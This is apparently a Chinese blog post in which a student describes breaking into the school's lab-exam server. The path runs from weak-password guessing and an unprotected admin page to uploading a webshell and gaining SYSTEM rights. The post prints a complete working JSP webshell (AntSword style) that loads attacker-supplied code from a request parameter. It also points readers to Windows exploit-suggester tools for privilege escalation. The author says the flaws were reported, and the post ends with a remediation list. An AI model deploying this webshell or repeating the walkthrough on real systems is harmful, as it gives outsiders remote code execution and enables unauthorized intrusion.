8.#技术|对学校实验考试系统的一次渗透 拿到webshell + 查找漏洞

写在前面

记录一次对青科实验考试系统的渗透测试,这是我人生第一次成功进入服务器后台,很是兴奋,于是记录下来。
我们学校的实验考试系统的漏洞是在太多了 (真的真的真的很多),
截止目前,已经全部反映给学校网络信息办公室,
希望他们能好好修一修,
相关信息已经隐藏。

希望有一天能有 CTF 的水平吧(我在妄想)


思路

  • 弄个账号进后台(或许需要注入、绕过)
  • 找文件上传点,传木马
  • 蚁剑拿 web shell(提权)

究极无语,我有一个学生账号,登进去后确实没任何权限,但是头像上传那里可以直接传jsp,是一点过滤也没有啊,然后直接上传木马拿 shell 就完事了。
我们假装没有账号,从0开始。


1.拿到普通账号:

8.#技术|对学校实验考试系统的一次渗透 拿到webshell + 查找漏洞_第1张图片

从登录界面入手,扫一波sql注入(哈哈ha,我还停留在:'or 1=1 的水平)
我真的试了像添加 #、//、url编码形式各种各样的sql语句,又拿sqlmap跑了一遍,还是没有发现。

决定直接跑弱密码字典,果然拿到了几个普通老师账号,
很离谱,账号密码一样的,我估计现在他们也没改。

主界面:
8.#技术|对学校实验考试系统的一次渗透 拿到webshell + 查找漏洞_第2张图片

进入后同样在修改头像界面,找到上传点,目标达成。

这里我们假装没有上传点,继续分析


2.进入后台界面

分析一下源码文件吧,发现编代码的家伙直接把管理地址写在了前端

8.#技术|对学校实验考试系统的一次渗透 拿到webshell + 查找漏洞_第3张图片

没有权限过滤,直接进后台(懵住,还有这种操作)

8.#技术|对学校实验考试系统的一次渗透 拿到webshell + 查找漏洞_第4张图片

网站配置全暴露了

  • Window Server 2012
  • jdk8
  • MySql 5.5.19
  • TomCat 9.0.4
  • 真实ip地址

3.上传木马,连接蚁剑

在软件管理这,找到配置文件上传,没有任何过滤,我们直接上传 jsp小马
8.#技术|对学校实验考试系统的一次渗透 拿到webshell + 查找漏洞_第5张图片

需要注意的是木马被上传到了临时文件中,随时会被清除,我们先用蚁剑连上,然后在重新上传木马到正式文件夹中。

分享一下我的木马吧:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
    public byte[] base64Decode(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

蚁剑连接界面:

发现这台服务器上还运行着好几个web服务,却没有做防跨站处理。
8.#技术|对学校实验考试系统的一次渗透 拿到webshell + 查找漏洞_第6张图片


4.GetShell

打开终端,查看为system组别,
我们拿到了服务器的所有权限
8.#技术|对学校实验考试系统的一次渗透 拿到webshell + 查找漏洞_第7张图片

结尾

总结需要修bug的地方:

  • 学生、老师账号的头像上传,文件类型过滤
  • 更改弱账号密码,设置初次登录修改密码
  • 改掉前端的身份跳转识别,全转到后端判断
  • 增加管理界面的权限过滤器,防止越权访问
  • 防跨站,服务器上不止一个web服务
  • log4j 还没修复 (Maven中好像是依赖了log4j,忘记了)

至于提权,你可以搜一下Windows-Exploit-Suggeste的使用方法,自动扫Windows Server中有哪些漏洞可以利用,然后去github上下载 exp,拿到webshell后用漏洞提权。
下面放上github的链接:

https://github.com/AonCyberLabs/Windows-Exploit-Suggester   原版--依赖于python2
https://github.com/Pwnistry/Windows-Exploit-Suggester-python3  python3重写的
https://github.com/Ruiruigo/WinEXP								web版的


就这样,下次见各位。

你可能感兴趣的:(青科,渗透安全,安全,web安全)